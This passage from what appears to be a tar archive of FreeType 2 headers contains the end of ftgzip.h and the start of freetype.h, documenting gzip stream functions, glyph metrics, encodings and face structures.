<ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* gzip */ /* */ /* <Title> */ /* GZIP Streams */ /* */ /* <Abstract> */ /* Using gzip-compressed font files. */ /* */ /* <Description> */ /* This section contains the declaration of Gzip-specific functions. */ /* */ /*************************************************************************/ /************************************************************************ * * @function: * FT_Stream_OpenGzip * * @description: * Open a new stream to parse gzip-compressed font files. This is * mainly used to support the compressed `*.pcf.gz' fonts that come * with XFree86. * * @input: * stream :: * The target embedding stream. * * source :: * The source stream. * * @return: * FreeType error code. 0~means success. * * @note: * The source stream must be opened _before_ calling this function. * * Calling the internal function `FT_Stream_Close' on the new stream will * *not* call `FT_Stream_Close' on the source stream. None of the stream * objects will be released to the heap. * * The stream implementation is very basic and resets the decompression * process each time seeking backwards is needed within the stream. * * In certain builds of the library, gzip compression recognition is * automatically handled when calling @FT_New_Face or @FT_Open_Face. * This means that if no font driver is capable of handling the raw * compressed file, the library will try to open a gzipped stream from * it and re-open the face with it. * * This function may return `FT_Err_Unimplemented_Feature' if your build * of FreeType was not compiled with zlib support. */ FT_EXPORT( FT_Error ) FT_Stream_OpenGzip( FT_Stream stream, FT_Stream source ); /************************************************************************ * * @function: * FT_Gzip_Uncompress * * @description: * Decompress a zipped input buffer into an output buffer. This function * is modeled after zlib's `uncompress' function. * * @input: * memory :: * A FreeType memory handle. * * input :: * The input buffer. * * input_len :: * The length of the input buffer. * * @output: * output:: * The output buffer. * * @inout: * output_len :: * Before calling the function, this is the total size of the output * buffer, which must be large enough to hold the entire uncompressed * data (so the size of the uncompressed data must be known in * advance). After calling the function, `output_len' is the size of * the used data in `output'. * * @return: * FreeType error code. 0~means success. * * @note: * This function may return `FT_Err_Unimplemented_Feature' if your build * of FreeType was not compiled with zlib support. * * @since: * 2.5.1 */ FT_EXPORT( FT_Error ) FT_Gzip_Uncompress( FT_Memory memory, FT_Byte* output, FT_ULong* output_len, const FT_Byte* input, FT_ULong input_len ); /* */ FT_END_HEADER #endif /* FTGZIP_H_ */ /* END */ freetype2/freetype/freetype.h 0000644 00001076164 15246445047 0012322 0 ustar 00 /***************************************************************************/ /* */ /* freetype.h */ /* */ /* FreeType high-level API and common types (specification only). */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FREETYPE_H_ #define FREETYPE_H_ #ifndef FT_FREETYPE_H #error "`ft2build.h' hasn't been included yet!" #error "Please always use macros to include FreeType header files." #error "Example:" #error " #include <ft2build.h>" #error " #include FT_FREETYPE_H" #endif #include <ft2build.h> #include FT_CONFIG_CONFIG_H #include FT_TYPES_H #include FT_ERRORS_H FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* header_inclusion */ /* */ /* <Title> */ /* FreeType's header inclusion scheme */ /* */ /* <Abstract> */ /* How client applications should include FreeType header files. */ /* */ /* <Description> */ /* To be as flexible as possible (and for historical reasons), */ /* FreeType uses a very special inclusion scheme to load header */ /* files, for example */ /* */ /* { */ /* #include <ft2build.h> */ /* */ /* #include FT_FREETYPE_H */ /* #include FT_OUTLINE_H */ /* } */ /* */ /* A compiler and its preprocessor only needs an include path to find */ /* the file `ft2build.h'; the exact locations and names of the other */ /* FreeType header files are hidden by preprocessor macro names, */ /* loaded by `ft2build.h'. The API documentation always gives the */ /* header macro name needed for a particular function. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Section> */ /* user_allocation */ /* */ /* <Title> */ /* User allocation */ /* */ /* <Abstract> */ /* How client applications should allocate FreeType data structures. */ /* */ /* <Description> */ /* FreeType assumes that structures allocated by the user and passed */ /* as arguments are zeroed out except for the actual data. In other */ /* words, it is recommended to use `calloc' (or variants of it) */ /* instead of `malloc' for allocation. */ /* */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* B A S I C T Y P E S */ /* */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* <Section> */ /* base_interface */ /* */ /* <Title> */ /* Base Interface */ /* */ /* <Abstract> */ /* The FreeType~2 base font interface. */ /* */ /* <Description> */ /* This section describes the most important public high-level API */ /* functions of FreeType~2. */ /* */ /* <Order> */ /* FT_Library */ /* FT_Face */ /* FT_Size */ /* FT_GlyphSlot */ /* FT_CharMap */ /* FT_Encoding */ /* FT_ENC_TAG */ /* */ /* FT_FaceRec */ /* */ /* FT_FACE_FLAG_SCALABLE */ /* FT_FACE_FLAG_FIXED_SIZES */ /* FT_FACE_FLAG_FIXED_WIDTH */ /* FT_FACE_FLAG_HORIZONTAL */ /* FT_FACE_FLAG_VERTICAL */ /* FT_FACE_FLAG_COLOR */ /* FT_FACE_FLAG_SFNT */ /* FT_FACE_FLAG_CID_KEYED */ /* FT_FACE_FLAG_TRICKY */ /* FT_FACE_FLAG_KERNING */ /* FT_FACE_FLAG_MULTIPLE_MASTERS */ /* FT_FACE_FLAG_VARIATION */ /* FT_FACE_FLAG_GLYPH_NAMES */ /* FT_FACE_FLAG_EXTERNAL_STREAM */ /* FT_FACE_FLAG_HINTER */ /* */ /* FT_HAS_HORIZONTAL */ /* FT_HAS_VERTICAL */ /* FT_HAS_KERNING */ /* FT_HAS_FIXED_SIZES */ /* FT_HAS_GLYPH_NAMES */ /* FT_HAS_COLOR */ /* FT_HAS_MULTIPLE_MASTERS */ /* */ /* FT_IS_SFNT */ /* FT_IS_SCALABLE */ /* FT_IS_FIXED_WIDTH */ /* FT_IS_CID_KEYED */ /* FT_IS_TRICKY */ /* FT_IS_NAMED_INSTANCE */ /* FT_IS_VARIATION */ /* */ /* FT_STYLE_FLAG_BOLD */ /* FT_STYLE_FLAG_ITALIC */ /* */ /* FT_SizeRec */ /* FT_Size_Metrics */ /* */ /* FT_GlyphSlotRec */ /* FT_Glyph_Metrics */ /* FT_SubGlyph */ /* */ /* FT_Bitmap_Size */ /* */ /* FT_Init_FreeType */ /* FT_Done_FreeType */ /* */ /* FT_New_Face */ /* FT_Done_Face */ /* FT_Reference_Face */ /* FT_New_Memory_Face */ /* FT_Face_Properties */ /* FT_Open_Face */ /* FT_Open_Args */ /* FT_Parameter */ /* FT_Attach_File */ /* FT_Attach_Stream */ /* */ /* FT_Set_Char_Size */ /* FT_Set_Pixel_Sizes */ /* FT_Request_Size */ /* FT_Select_Size */ /* FT_Size_Request_Type */ /* FT_Size_RequestRec */ /* FT_Size_Request */ /* FT_Set_Transform */ /* FT_Load_Glyph */ /* FT_Get_Char_Index */ /* FT_Get_First_Char */ /* FT_Get_Next_Char */ /* FT_Get_Name_Index */ /* FT_Load_Char */ /* */ /* FT_OPEN_MEMORY */ /* FT_OPEN_STREAM */ /* FT_OPEN_PATHNAME */ /* FT_OPEN_DRIVER */ /* FT_OPEN_PARAMS */ /* */ /* FT_LOAD_DEFAULT */ /* FT_LOAD_RENDER */ /* FT_LOAD_MONOCHROME */ /* FT_LOAD_LINEAR_DESIGN */ /* FT_LOAD_NO_SCALE */ /* FT_LOAD_NO_HINTING */ /* FT_LOAD_NO_BITMAP */ /* FT_LOAD_NO_AUTOHINT */ /* FT_LOAD_COLOR */ /* */ /* FT_LOAD_VERTICAL_LAYOUT */ /* FT_LOAD_IGNORE_TRANSFORM */ /* FT_LOAD_FORCE_AUTOHINT */ /* FT_LOAD_NO_RECURSE */ /* FT_LOAD_PEDANTIC */ /* */ /* FT_LOAD_TARGET_NORMAL */ /* FT_LOAD_TARGET_LIGHT */ /* FT_LOAD_TARGET_MONO */ /* FT_LOAD_TARGET_LCD */ /* FT_LOAD_TARGET_LCD_V */ /* */ /* FT_LOAD_TARGET_MODE */ /* */ /* FT_Render_Glyph */ /* FT_Render_Mode */ /* FT_Get_Kerning */ /* FT_Kerning_Mode */ /* FT_Get_Track_Kerning */ /* FT_Get_Glyph_Name */ /* FT_Get_Postscript_Name */ /* */ /* FT_CharMapRec */ /* FT_Select_Charmap */ /* FT_Set_Charmap */ /* FT_Get_Charmap_Index */ /* */ /* FT_Get_FSType_Flags */ /* FT_Get_SubGlyph_Info */ /* */ /* FT_Face_Internal */ /* FT_Size_Internal */ /* FT_Slot_Internal */ /* */ /* FT_FACE_FLAG_XXX */ /* FT_STYLE_FLAG_XXX */ /* FT_OPEN_XXX */ /* FT_LOAD_XXX */ /* FT_LOAD_TARGET_XXX */ /* FT_SUBGLYPH_FLAG_XXX */ /* FT_FSTYPE_XXX */ /* */ /* FT_HAS_FAST_GLYPHS */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Struct> */ /* FT_Glyph_Metrics */ /* */ /* <Description> */ /* A structure to model the metrics of a single glyph. The values */ /* are expressed in 26.6 fractional pixel format; if the flag */ /* @FT_LOAD_NO_SCALE has been used while loading the glyph, values */ /* are expressed in font units instead. */ /* */ /* <Fields> */ /* width :: */ /* The glyph's width. */ /* */ /* height :: */ /* The glyph's height. */ /* */ /* horiBearingX :: */ /* Left side bearing for horizontal layout. */ /* */ /* horiBearingY :: */ /* Top side bearing for horizontal layout. */ /* */ /* horiAdvance :: */ /* Advance width for horizontal layout. */ /* */ /* vertBearingX :: */ /* Left side bearing for vertical layout. */ /* */ /* vertBearingY :: */ /* Top side bearing for vertical layout. Larger positive values */ /* mean further below the vertical glyph origin. */ /* */ /* vertAdvance :: */ /* Advance height for vertical layout. Positive values mean the */ /* glyph has a positive advance downward. */ /* */ /* <Note> */ /* If not disabled with @FT_LOAD_NO_HINTING, the values represent */ /* dimensions of the hinted glyph (in case hinting is applicable). */ /* */ /* Stroking a glyph with an outside border does not increase */ /* `horiAdvance' or `vertAdvance'; you have to manually adjust these */ /* values to account for the added width and height. */ /* */ /* FreeType doesn't use the `VORG' table data for CFF fonts because */ /* it doesn't have an interface to quickly retrieve the glyph height. */ /* The y~coordinate of the vertical origin can be simply computed as */ /* `vertBearingY + height' after loading a glyph. */ /* */ typedef struct FT_Glyph_Metrics_ { FT_Pos width; FT_Pos height; FT_Pos horiBearingX; FT_Pos horiBearingY; FT_Pos horiAdvance; FT_Pos vertBearingX; FT_Pos vertBearingY; FT_Pos vertAdvance; } FT_Glyph_Metrics; /*************************************************************************/ /* */ /* <Struct> */ /* FT_Bitmap_Size */ /* */ /* <Description> */ /* This structure models the metrics of a bitmap strike (i.e., a set */ /* of glyphs for a given point size and resolution) in a bitmap font. */ /* It is used for the `available_sizes' field of @FT_Face. */ /* */ /* <Fields> */ /* height :: The vertical distance, in pixels, between two */ /* consecutive baselines. It is always positive. */ /* */ /* width :: The average width, in pixels, of all glyphs in the */ /* strike. */ /* */ /* size :: The nominal size of the strike in 26.6 fractional */ /* points. This field is not very useful. */ /* */ /* x_ppem :: The horizontal ppem (nominal width) in 26.6 fractional */ /* pixels. */ /* */ /* y_ppem :: The vertical ppem (nominal height) in 26.6 fractional */ /* pixels. */ /* */ /* <Note> */ /* Windows FNT: */ /* The nominal size given in a FNT font is not reliable. If the */ /* driver finds it incorrect, it sets `size' to some calculated */ /* values, and `x_ppem' and `y_ppem' to the pixel width and height */ /* given in the font, respectively. */ /* */ /* TrueType embedded bitmaps: */ /* `size', `width', and `height' values are not contained in the */ /* bitmap strike itself. They are computed from the global font */ /* parameters. */ /* */ typedef struct FT_Bitmap_Size_ { FT_Short height; FT_Short width; FT_Pos size; FT_Pos x_ppem; FT_Pos y_ppem; } FT_Bitmap_Size; /*************************************************************************/ /*************************************************************************/ /* */ /* O B J E C T C L A S S E S */ /* */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_Library */ /* */ /* <Description> */ /* A handle to a FreeType library instance. Each `library' is */ /* completely independent from the others; it is the `root' of a set */ /* of objects like fonts, faces, sizes, etc. */ /* */ /* It also embeds a memory manager (see @FT_Memory), as well as a */ /* scan-line converter object (see @FT_Raster). */ /* */ /* In multi-threaded applications it is easiest to use one */ /* `FT_Library' object per thread. In case this is too cumbersome, */ /* a single `FT_Library' object across threads is possible also */ /* (since FreeType version 2.5.6), as long as a mutex lock is used */ /* around @FT_New_Face and @FT_Done_Face. */ /* */ /* <Note> */ /* Library objects are normally created by @FT_Init_FreeType, and */ /* destroyed with @FT_Done_FreeType. If you need reference-counting */ /* (cf. @FT_Reference_Library), use @FT_New_Library and */ /* @FT_Done_Library. */ /* */ typedef struct FT_LibraryRec_ *FT_Library; /*************************************************************************/ /* */ /* <Section> */ /* module_management */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_Module */ /* */ /* <Description> */ /* A handle to a given FreeType module object. A module can be a */ /* font driver, a renderer, or anything else that provides services */ /* to the former. */ /* */ typedef struct FT_ModuleRec_* FT_Module; /*************************************************************************/ /* */ /* <Type> */ /* FT_Driver */ /* */ /* <Description> */ /* A handle to a given FreeType font driver object. A font driver */ /* is a module capable of creating faces from font files. */ /* */ typedef struct FT_DriverRec_* FT_Driver; /*************************************************************************/ /* */ /* <Type> */ /* FT_Renderer */ /* */ /* <Description> */ /* A handle to a given FreeType renderer. A renderer is a module in */ /* charge of converting a glyph's outline image to a bitmap. It */ /* supports a single glyph image format, and one or more target */ /* surface depths. */ /* */ typedef struct FT_RendererRec_* FT_Renderer; /*************************************************************************/ /* */ /* <Section> */ /* base_interface */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_Face */ /* */ /* <Description> */ /* A handle to a typographic face object. A face object models a */ /* given typeface, in a given style. */ /* */ /* <Note> */ /* A face object also owns a single @FT_GlyphSlot object, as well */ /* as one or more @FT_Size objects. */ /* */ /* Use @FT_New_Face or @FT_Open_Face to create a new face object from */ /* a given filepath or a custom input stream. */ /* */ /* Use @FT_Done_Face to destroy it (along with its slot and sizes). */ /* */ /* An `FT_Face' object can only be safely used from one thread at a */ /* time. Similarly, creation and destruction of `FT_Face' with the */ /* same @FT_Library object can only be done from one thread at a */ /* time. On the other hand, functions like @FT_Load_Glyph and its */ /* siblings are thread-safe and do not need the lock to be held as */ /* long as the same `FT_Face' object is not used from multiple */ /* threads at the same time. */ /* */ /* <Also> */ /* See @FT_FaceRec for the publicly accessible fields of a given face */ /* object. */ /* */ typedef struct FT_FaceRec_* FT_Face; /*************************************************************************/ /* */ /* <Type> */ /* FT_Size */ /* */ /* <Description> */ /* A handle to an object that models a face scaled to a given */ /* character size. */ /* */ /* <Note> */ /* An @FT_Face has one _active_ @FT_Size object that is used by */ /* functions like @FT_Load_Glyph to determine the scaling */ /* transformation that in turn is used to load and hint glyphs and */ /* metrics. */ /* */ /* You can use @FT_Set_Char_Size, @FT_Set_Pixel_Sizes, */ /* @FT_Request_Size or even @FT_Select_Size to change the content */ /* (i.e., the scaling values) of the active @FT_Size. */ /* */ /* You can use @FT_New_Size to create additional size objects for a */ /* given @FT_Face, but they won't be used by other functions until */ /* you activate it through @FT_Activate_Size. Only one size can be */ /* activated at any given time per face. */ /* */ /* <Also> */ /* See @FT_SizeRec for the publicly accessible fields of a given size */ /* object. */ /* */ typedef struct FT_SizeRec_* FT_Size; /*************************************************************************/ /* */ /* <Type> */ /* FT_GlyphSlot */ /* */ /* <Description> */ /* A handle to a given `glyph slot'. A slot is a container that can */ /* hold any of the glyphs contained in its parent face. */ /* */ /* In other words, each time you call @FT_Load_Glyph or */ /* @FT_Load_Char, the slot's content is erased by the new glyph data, */ /* i.e., the glyph's metrics, its image (bitmap or outline), and */ /* other control information. */ /* */ /* <Also> */ /* See @FT_GlyphSlotRec for the publicly accessible glyph fields. */ /* */ typedef struct FT_GlyphSlotRec_* FT_GlyphSlot; /*************************************************************************/ /* */ /* <Type> */ /* FT_CharMap */ /* */ /* <Description> */ /* A handle to a character map (usually abbreviated to `charmap'). A */ /* charmap is used to translate character codes in a given encoding */ /* into glyph indexes for its parent's face. Some font formats may */ /* provide several charmaps per font. */ /* */ /* Each face object owns zero or more charmaps, but only one of them */ /* can be `active', providing the data used by @FT_Get_Char_Index or */ /* @FT_Load_Char. */ /* */ /* The list of available charmaps in a face is available through the */ /* `face->num_charmaps' and `face->charmaps' fields of @FT_FaceRec. */ /* */ /* The currently active charmap is available as `face->charmap'. */ /* You should call @FT_Set_Charmap to change it. */ /* */ /* <Note> */ /* When a new face is created (either through @FT_New_Face or */ /* @FT_Open_Face), the library looks for a Unicode charmap within */ /* the list and automatically activates it. If there is no Unicode */ /* charmap, FreeType doesn't set an `active' charmap. */ /* */ /* <Also> */ /* See @FT_CharMapRec for the publicly accessible fields of a given */ /* character map. */ /* */ typedef struct FT_CharMapRec_* FT_CharMap; /*************************************************************************/ /* */ /* <Macro> */ /* FT_ENC_TAG */ /* */ /* <Description> */ /* This macro converts four-letter tags into an unsigned long. It is */ /* used to define `encoding' identifiers (see @FT_Encoding). */ /* */ /* <Note> */ /* Since many 16-bit compilers don't like 32-bit enumerations, you */ /* should redefine this macro in case of problems to something like */ /* this: */ /* */ /* { */ /* #define FT_ENC_TAG( value, a, b, c, d ) value */ /* } */ /* */ /* to get a simple enumeration without assigning special numbers. */ /* */ #ifndef FT_ENC_TAG #define FT_ENC_TAG( value, a, b, c, d ) \ value = ( ( (FT_UInt32)(a) << 24 ) | \ ( (FT_UInt32)(b) << 16 ) | \ ( (FT_UInt32)(c) << 8 ) | \ (FT_UInt32)(d) ) #endif /* FT_ENC_TAG */ /*************************************************************************/ /* */ /* <Enum> */ /* FT_Encoding */ /* */ /* <Description> */ /* An enumeration to specify character sets supported by charmaps. */ /* Used in the @FT_Select_Charmap API function. */ /* */ /* <Note> */ /* Despite the name, this enumeration lists specific character */ /* repertories (i.e., charsets), and not text encoding methods (e.g., */ /* UTF-8, UTF-16, etc.). */ /* */ /* Other encodings might be defined in the future. */ /* */ /* <Values> */ /* FT_ENCODING_NONE :: */ /* The encoding value~0 is reserved. */ /* */ /* FT_ENCODING_UNICODE :: */ /* The Unicode character set. This value covers all versions of */ /* the Unicode repertoire, including ASCII and Latin-1. Most fonts */ /* include a Unicode charmap, but not all of them. */ /* */ /* For example, if you want to access Unicode value U+1F028 (and */ /* the font contains it), use value 0x1F028 as the input value for */ /* @FT_Get_Char_Index. */ /* */ /* FT_ENCODING_MS_SYMBOL :: */ /* Microsoft Symbol encoding, used to encode mathematical symbols */ /* and wingdings. For more information, see */ /* `https://www.microsoft.com/typography/otspec/recom.htm', */ /* `http://www.kostis.net/charsets/symbol.htm', and */ /* `http://www.kostis.net/charsets/wingding.htm'. */ /* */ /* This encoding uses character codes from the PUA (Private Unicode */ /* Area) in the range U+F020-U+F0FF. */ /* */ /* FT_ENCODING_SJIS :: */ /* Shift JIS encoding for Japanese. More info at */ /* `https://en.wikipedia.org/wiki/Shift_JIS'. See note on */ /* multi-byte encodings below. */ /* */ /* FT_ENCODING_PRC :: */ /* Corresponds to encoding systems mainly for Simplified Chinese as */ /* used in People's Republic of China (PRC). The encoding layout */ /* is based on GB~2312 and its supersets GBK and GB~18030. */ /* */ /* FT_ENCODING_BIG5 :: */ /* Corresponds to an encoding system for Traditional Chinese as */ /* used in Taiwan and Hong Kong. */ /* */ /* FT_ENCODING_WANSUNG :: */ /* Corresponds to the Korean encoding system known as Extended */ /* Wansung (MS Windows code page 949). */ /* For more information see */ /* `https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit949.txt'. */ /* */ /* FT_ENCODING_JOHAB :: */ /* The Korean standard character set (KS~C 5601-1992), which */ /* corresponds to MS Windows code page 1361. This character set */ /* includes all possible Hangul character combinations. */ /* */ /* FT_ENCODING_ADOBE_LATIN_1 :: */ /* Corresponds to a Latin-1 encoding as defined in a Type~1 */ /* PostScript font. It is limited to 256 character codes. */ /* */ /* FT_ENCODING_ADOBE_STANDARD :: */ /* Adobe Standard encoding, as found in Type~1, CFF, and */ /* OpenType/CFF fonts. It is limited to 256 character codes. */ /* */ /* FT_ENCODING_ADOBE_EXPERT :: */ /* Adobe Expert encoding, as found in Type~1, CFF, and OpenType/CFF */ /* fonts. It is limited to 256 character codes. */ /* */ /* FT_ENCODING_ADOBE_CUSTOM :: */ /* Corresponds to a custom encoding, as found in Type~1, CFF, and */ /* OpenType/CFF fonts. It is limited to 256 character codes. */ /* */ /* FT_ENCODING_APPLE_ROMAN :: */ /* Apple roman encoding. Many TrueType and OpenType fonts contain */ /* a charmap for this 8-bit encoding, since older versions of Mac */ /* OS are able to use it. */ /* */ /* FT_ENCODING_OLD_LATIN_2 :: */ /* This value is deprecated and was neither used nor reported by */ /* FreeType. Don't use or test for it. */ /* */ /* FT_ENCODING_MS_SJIS :: */ /* Same as FT_ENCODING_SJIS. Deprecated. */ /* */ /* FT_ENCODING_MS_GB2312 :: */ /* Same as FT_ENCODING_PRC. Deprecated. */ /* */ /* FT_ENCODING_MS_BIG5 :: */ /* Same as FT_ENCODING_BIG5. Deprecated. */ /* */ /* FT_ENCODING_MS_WANSUNG :: */ /* Same as FT_ENCODING_WANSUNG. Deprecated. */ /* */ /* FT_ENCODING_MS_JOHAB :: */ /* Same as FT_ENCODING_JOHAB. Deprecated. */ /* */ /* <Note> */ /* By default, FreeType enables a Unicode charmap and tags it with */ /* FT_ENCODING_UNICODE when it is either provided or can be generated */ /* from PostScript glyph name dictionaries in the font file. */ /* All other encodings are considered legacy and tagged only if */ /* explicitly defined in the font file. Otherwise, FT_ENCODING_NONE */ /* is used. */ /* */ /* FT_ENCODING_NONE is set by the BDF and PCF drivers if the charmap */ /* is neither Unicode nor ISO-8859-1 (otherwise it is set to */ /* FT_ENCODING_UNICODE). Use @FT_Get_BDF_Charset_ID to find out */ /* which encoding is really present. If, for example, the */ /* `cs_registry' field is `KOI8' and the `cs_encoding' field is `R', */ /* the font is encoded in KOI8-R. */ /* */ /* FT_ENCODING_NONE is always set (with a single exception) by the */ /* winfonts driver. Use @FT_Get_WinFNT_Header and examine the */ /* `charset' field of the @FT_WinFNT_HeaderRec structure to find out */ /* which encoding is really present. For example, */ /* @FT_WinFNT_ID_CP1251 (204) means Windows code page 1251 (for */ /* Russian). */ /* */ /* FT_ENCODING_NONE is set if `platform_id' is @TT_PLATFORM_MACINTOSH */ /* and `encoding_id' is not `TT_MAC_ID_ROMAN' (otherwise it is set to */ /* FT_ENCODING_APPLE_ROMAN). */ /* */ /* If `platform_id' is @TT_PLATFORM_MACINTOSH, use the function */ /* @FT_Get_CMap_Language_ID to query the Mac language ID that may */ /* be needed to be able to distinguish Apple encoding variants. See */ /* */ /* https://www.unicode.org/Public/MAPPINGS/VENDORS/APPLE/Readme.txt */ /* */ /* to get an idea how to do that. Basically, if the language ID */ /* is~0, don't use it, otherwise subtract 1 from the language ID. */ /* Then examine `encoding_id'. If, for example, `encoding_id' is */ /* `TT_MAC_ID_ROMAN' and the language ID (minus~1) is */ /* `TT_MAC_LANGID_GREEK', it is the Greek encoding, not Roman. */ /* `TT_MAC_ID_ARABIC' with `TT_MAC_LANGID_FARSI' means the Farsi */ /* variant the Arabic encoding. */ /* */ typedef enum FT_Encoding_ { FT_ENC_TAG( FT_ENCODING_NONE, 0, 0, 0, 0 ), FT_ENC_TAG( FT_ENCODING_MS_SYMBOL, 's', 'y', 'm', 'b' ), FT_ENC_TAG( FT_ENCODING_UNICODE, 'u', 'n', 'i', 'c' ), FT_ENC_TAG( FT_ENCODING_SJIS, 's', 'j', 'i', 's' ), FT_ENC_TAG( FT_ENCODING_PRC, 'g', 'b', ' ', ' ' ), FT_ENC_TAG( FT_ENCODING_BIG5, 'b', 'i', 'g', '5' ), FT_ENC_TAG( FT_ENCODING_WANSUNG, 'w', 'a', 'n', 's' ), FT_ENC_TAG( FT_ENCODING_JOHAB, 'j', 'o', 'h', 'a' ), /* for backward compatibility */ FT_ENCODING_GB2312 = FT_ENCODING_PRC, FT_ENCODING_MS_SJIS = FT_ENCODING_SJIS, FT_ENCODING_MS_GB2312 = FT_ENCODING_PRC, FT_ENCODING_MS_BIG5 = FT_ENCODING_BIG5, FT_ENCODING_MS_WANSUNG = FT_ENCODING_WANSUNG, FT_ENCODING_MS_JOHAB = FT_ENCODING_JOHAB, FT_ENC_TAG( FT_ENCODING_ADOBE_STANDARD, 'A', 'D', 'O', 'B' ), FT_ENC_TAG( FT_ENCODING_ADOBE_EXPERT, 'A', 'D', 'B', 'E' ), FT_ENC_TAG( FT_ENCODING_ADOBE_CUSTOM, 'A', 'D', 'B', 'C' ), FT_ENC_TAG( FT_ENCODING_ADOBE_LATIN_1, 'l', 'a', 't', '1' ), FT_ENC_TAG( FT_ENCODING_OLD_LATIN_2, 'l', 'a', 't', '2' ), FT_ENC_TAG( FT_ENCODING_APPLE_ROMAN, 'a', 'r', 'm', 'n' ) } FT_Encoding; /* these constants are deprecated; use the corresponding `FT_Encoding' */ /* values instead */ #define ft_encoding_none FT_ENCODING_NONE #define ft_encoding_unicode FT_ENCODING_UNICODE #define ft_encoding_symbol FT_ENCODING_MS_SYMBOL #define ft_encoding_latin_1 FT_ENCODING_ADOBE_LATIN_1 #define ft_encoding_latin_2 FT_ENCODING_OLD_LATIN_2 #define ft_encoding_sjis FT_ENCODING_SJIS #define ft_encoding_gb2312 FT_ENCODING_PRC #define ft_encoding_big5 FT_ENCODING_BIG5 #define ft_encoding_wansung FT_ENCODING_WANSUNG #define ft_encoding_johab FT_ENCODING_JOHAB #define ft_encoding_adobe_standard FT_ENCODING_ADOBE_STANDARD #define ft_encoding_adobe_expert FT_ENCODING_ADOBE_EXPERT #define ft_encoding_adobe_custom FT_ENCODING_ADOBE_CUSTOM #define ft_encoding_apple_roman FT_ENCODING_APPLE_ROMAN /*************************************************************************/ /* */ /* <Struct> */ /* FT_CharMapRec */ /* */ /* <Description> */ /* The base charmap structure. */ /* */ /* <Fields> */ /* face :: A handle to the parent face object. */ /* */ /* encoding :: An @FT_Encoding tag identifying the charmap. Use */ /* this with @FT_Select_Charmap. */ /* */ /* platform_id :: An ID number describing the platform for the */ /* following encoding ID. This comes directly from */ /* the TrueType specification and gets emulated for */ /* other formats. */ /* */ /* encoding_id :: A platform specific encoding number. This also */ /* comes from the TrueType specification and gets */ /* emulated similarly. */ /* */ typedef struct FT_CharMapRec_ { FT_Face face; FT_Encoding encoding; FT_UShort platform_id; FT_UShort encoding_id; } FT_CharMapRec; /*************************************************************************/ /*************************************************************************/ /* */ /* B A S E O B J E C T C L A S S E S */ /* */ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* <Type> */ /* FT_Face_Internal */ /* */ /* <Description> */ /* An opaque handle to an `FT_Face_InternalRec' structure that models */ /* the private data of a given @FT_Face object. */ /* */ /* This structure might change between releases of FreeType~2 and is */ /* not generally available to client applications. */ /* */ typedef struct FT_Face_InternalRec_* FT_Face_Internal; /*************************************************************************/ /* */ /* <Struct> */ /* FT_FaceRec */ /* */ /* <Description> */ /* FreeType root face class structure. A face object models a */ /* typeface in a font file. */ /* */ /* <Fields> */ /* num_faces :: The number of faces in the font file. Some */ /* font formats can have multiple faces in */ /* a single font file. */ /* */ /* face_index :: This field holds two different values. */ /* Bits 0-15 are the index of the face in the */ /* font file (starting with value~0). They */ /* are set to~0 if there is only one face in */ /* the font file. */ /* */ /* [Since 2.6.1] Bits 16-30 are relevant to GX */ /* and OpenType variation fonts only, holding */ /* the named instance index for the current */ /* face index (starting with value~1; value~0 */ /* indicates font access without a named */ /* instance). For non-variation fonts, bits */ /* 16-30 are ignored. If we have the third */ /* named instance of face~4, say, `face_index' */ /* is set to 0x00030004. */ /* */ /* Bit 31 is always zero (this is, */ /* `face_index' is always a positive value). */ /* */ /* [Since 2.9] Changing the design coordinates */ /* with @FT_Set_Var_Design_Coordinates or */ /* @FT_Set_Var_Blend_Coordinates does not */ /* influence the named instance index value */ /* (only @FT_Set_Named_Instance does that). */ /* */ /* face_flags :: A set of bit flags that give important */ /* information about the face; see */ /* @FT_FACE_FLAG_XXX for the details. */ /* */ /* style_flags :: The lower 16~bits contain a set of bit */ /* flags indicating the style of the face; see */ /* @FT_STYLE_FLAG_XXX for the details. */ /* */ /* [Since 2.6.1] Bits 16-30 hold the number */ /* of named instances available for the */ /* current face if we have a GX or OpenType */ /* variation (sub)font. Bit 31 is always zero */ /* (this is, `style_flags' is always a */ /* positive value). Note that a variation */ /* font has always at least one named */ /* instance, namely the default instance. */ /* */ /* num_glyphs :: The number of glyphs in the face. If the */ /* face is scalable and has sbits (see */ /* `num_fixed_sizes'), it is set to the number */ /* of outline glyphs. */ /* */ /* For CID-keyed fonts (not in an SFNT */ /* wrapper) this value gives the highest CID */ /* used in the font. */ /* */ /* family_name :: The face's family name. This is an ASCII */ /* string, usually in English, that describes */ /* the typeface's family (like `Times New */ /* Roman', `Bodoni', `Garamond', etc). This */ /* is a least common denominator used to list */ /* fonts. Some formats (TrueType & OpenType) */ /* provide localized and Unicode versions of */ /* this string. Applications should use the */ /* format specific interface to access them. */ /* Can be NULL (e.g., in fonts embedded in a */ /* PDF file). */ /* */ /* In case the font doesn't provide a specific */ /* family name entry, FreeType tries to */ /* synthesize one, deriving it from other name */ /* entries. */ /* */ /* style_name :: The face's style name. This is an ASCII */ /* string, usually in English, that describes */ /* the typeface's style (like `Italic', */ /* `Bold', `Condensed', etc). Not all font */ /* formats provide a style name, so this field */ /* is optional, and can be set to NULL. As */ /* for `family_name', some formats provide */ /* localized and Unicode versions of this */ /* string. Applications should use the format */ /* specific interface to access them. */ /* */ /* num_fixed_sizes :: The number of bitmap strikes in the face. */ /* 